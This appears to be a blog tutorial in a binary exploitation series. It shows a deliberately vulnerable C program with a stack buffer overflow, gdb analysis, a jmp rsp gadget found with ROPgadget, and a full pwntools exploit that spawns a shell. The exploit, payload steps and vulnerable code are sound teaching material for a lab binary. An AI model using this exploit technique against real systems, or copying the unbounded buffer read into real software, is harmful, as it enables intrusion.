7 minute read

Our first target is a really simple binary where we have basic ASLR enabled (only Heap and Stack are randomized). For this example, we will disable other protections like non-executable memory regions or PIE to make our stack overflow easier.

Target

The following code snippet is a simple C program that reads 200 bytes from stdin to a buffer which has only a size of 16 bytes. Therefore, we can write out of bounds. We compile the target with an executable stack and no other protections. Note, that ASLR is enabled because this is on today’s operation systems most of the time the case.

#include <stdio.h>
#include <stdlib.h>

//gcc -m64 -o chapter_3 chapter_3.c -no-pie -fno-stack-protector -z execstack -masm=intel
// help function to make this task easier, ignore it
void help() {
    asm("jmp rsp");
}

int main(int argc, char **argv) {
    char buffer[16];                   // 16 byte buffer
    fgets(buffer, 200, stdin);         // bug, we'll read 200 bytes into a 16 byte buffer
    return 0;                          // triggers return / return address is overflowed
}

Analysis

First, we load the binary into gdb.

gdb -q ./chapter_3
Reading symbols from ./chapter_3...(no debugging symbols found)...done.
gef➤  checksec # to check if there are any protections
[+] checksec for '/BinaryExploitationSeries/Chapter 3/chapter_3'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef➤  disassemble main
Dump of assembler code for function main:
   0x0000000000400527 <+0>:     push   rbp
   0x0000000000400528 <+1>:     mov    rbp,rsp
   0x000000000040052b <+4>:     sub    rsp,0x20
   0x000000000040052f <+8>:     mov    DWORD PTR [rbp-0x14],edi # arg1 argc
   0x0000000000400532 <+11>:    mov    QWORD PTR [rbp-0x20],rsi # arg2 argv
   0x0000000000400536 <+15>:    mov    rdx,QWORD PTR [rip+0x200af3]        # 0x601030 <stdin@@GLIBC_2.2.5>
   0x000000000040053d <+22>:    lea    rax,[rbp-0x10] # buffer
   0x0000000000400541 <+26>:    mov    esi,0xc8 # count = 200
   0x0000000000400546 <+31>:    mov    rdi,rax
   0x0000000000400549 <+34>:    call   0x400430 <fgets@plt>
   0x000000000040054e <+39>:    mov    eax,0x0 # return value = 0
   0x0000000000400553 <+44>:    leave  
   0x0000000000400554 <+45>:    ret    
End of assembler dump.

We can see at main+22 that our buffer is stored at rbp+0x10 and is used as an argument for fgets. Let’s try to overflow the buffer. For the payload generation we will use ipython.

Payload in ipython:
In [1]: "A"*16+"B"*8+"C"*8
Out[1]: 'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC' # our payload
gef➤  run
Starting program: /BinaryExploitationSeries/Chapter 3/chapter_3
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC # our payload
...
[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV # binary crashed

gef➤  x/gx $rbp
0x4242424242424242 # rbp is overwritten with B's

gef➤  x/gx $rsp # show a giant word (64-bit value) at $rsp (stack pointer)
0x7fffffffddb8:    0x4343434343434343
# binary tried to return to 8x C's which is forbidden since 64-bit Intel architecture only uses the first
# 6 bytes to address an instruction. (0x0000414141414141)

Let’s change the return address to a valid value.

Payload: AAAAAAAAAAAAAAAABBBBBBBBCCCCC # we only send 5x C's because we have a newline (0x0a) at the end
# we can get rid of the newline if we directly use python or pipe from a file

[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000a4343434343 in ?? ()

# Now we have redirected execution to 0xa4343434343 which is an invalid address.
# We can verify the redirection with
gef➤  x/gx $rip
0xa4343434343

For the next steps, we put a breakpoint on the return instruction of the main to see our stack layout before returning.

b *main+45

Additionally, we provide some more data on the stack to have a better understanding of the data in the registers and on the stack.

New Payload: "A"*16+"B"*8+"C"*8+"D"*100

$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x4444444444444444 ("DDDDDDDD"?)
$rdx   : 0x7ffff7dd18d0      →  0x0000000000000000
$rsp   : 0x7fffffffddb8      →  "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
$rbp   : 0x4242424242424242 ("BBBBBBBB"?)
$rsi   : 0x7fffffffdda0      →  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDD[...]"
$rdi   : 0x7fffffffde25      →  0x0000000000000000
$rip   : 0x40055d            →  <main+45> ret
$r8    : 0x6022e5            →  0x0000000000000000
$r9    : 0x4444444444444444 ("DDDDDDDD"?)
$r10   : 0x4444444444444444 ("DDDDDDDD"?)
$r11   : 0x4444444444444444 ("DDDDDDDD"?)
$r12   : 0x400440            →  <_start+0> xor ebp, ebp
$r13   : 0x7fffffffde90      →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0000  $ss: 0x002b  $cs: 0x0033  $es: 0x0000  $fs: 0x0000  $ds: 0x0000  
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffddb8│+0x00: "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"     ← $rsp
0x00007fffffffddc0│+0x08: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddc8│+0x10: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd0│+0x18: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd8│+0x20: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde0│+0x28: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde8│+0x30: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddf0│+0x38: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
     0x400552 <main+34>        call   0x400430 <fgets@plt>
     0x400557 <main+39>        mov    eax, 0x0
     0x40055c <main+44>        leave  
 →   0x40055d <main+45>        ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "chapter_3", stopped, reason: BREAKPOINT

Before you read any further, be sure that you understood what ASLR (Address Space Layout Randomization) and NX (Non-Executable Stack) means.

Since we have an executable stack, we can put our shellcode directly on the stack. The problem is, that we still have ASLR enabled and therefore, can’t reliably know where our shellcode is placed. To solve this problem, we can use a so-called gadget. Gadgets are small parts of an executable section (in general instructions of the .text section) which have always a return/jmp instruction (an instruction which redirects the execution flow) at the end.
For example:

Gadget1:
pop rdx # pull an 8-byte value from the top of the stack
ret # return

Gadget2:
mov rax, rsi
JMP rax

Now, the idea is, that we can use these gadgets for our purpose. If we place the address of gadget1 as the return address of our function we can redirect the execution flow to this gadget.

Where do we find these gadgets?
We could use manual analysis of the binary to find suitable gadgets but we can also do this automatically with ropper or ROPgadget.

For this target, we need a gadget that redirects the execution flow to our buffer (best case our D’s on the stack). If we look carefully, we can see that the jmp rsp gadget of our help function is available. This gadget is perfect, because after we triggered the overflow via ret the rsp register points to the first byte of our payload after the return address which is, in fact, the first D.

ROPgadget --binary chapter_3 | grep jmp
0x000000000040049e : adc byte ptr [rax], ah ; jmp rax
0x000000000040060d : add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060f : add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060b : inc esp ; add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x0000000000400499 : je 0x4004b0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x00000000004004db : je 0x4004f0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x000000000040068b : jmp qword ptr [rax]
0x00000000004004a1 : jmp rax
0x000000000040052b : jmp rsp            <--------
0x0000000000400526 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; jmp rsp
0x0000000000400529 : mov ebp, esp ; jmp rsp
0x000000000040049c : mov edi, 0x601030 ; jmp rax
0x0000000000400528 : mov rbp, rsp ; jmp rsp
0x000000000040049b : pop rbp ; mov edi, 0x601030 ; jmp rax
0x0000000000400527 : push rbp ; mov rbp, rsp ; jmp rsp

Let’s write our first exploit:

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
payload += "\xcc"*100

r.sendline(payload)
r.interactive() # we don't want to close the application

We can see in gdb that the target triggered a sigtrap while executing our buffer. Our gadget worked!
Now we just have to replace our buffer with real shellcode. This is very easy with pwntools because it has some shellcodes inbuilt.

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
# payload += "\xcc"*100
payload += asm(shellcraft.sh()) # shellcode to spawn a shell

r.sendline(payload)
r.interactive() # we don't want to close the application
python chapter_3_exploit.py
[+] Starting local process './chapter_3': pid 5622
[*] '/BinaryExploitationSeries/Chapter 3/chapter_3'
   Arch:     amd64-64-little
   RelRO:    Partial RelRO
   Stack:    No canary found
   NX:       NX disabled
   PIE:      No PIE (0x400000)
   RWX:      Has RWX segments
[*] running in new terminal: /usr/bin/gdb -q  "/BinaryExploitationSeries/Chapter 3/chapter_3" 5622 -x "/tmp/pwne4TDcJ.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ ls
chapter_3  chapter_3.c    chapter_3_exploit.py
$  

Yeah, we popped our first shell!


The next post will be about bypassing non-executable stack aka return to libc and a small information leak.
Happy Hacking!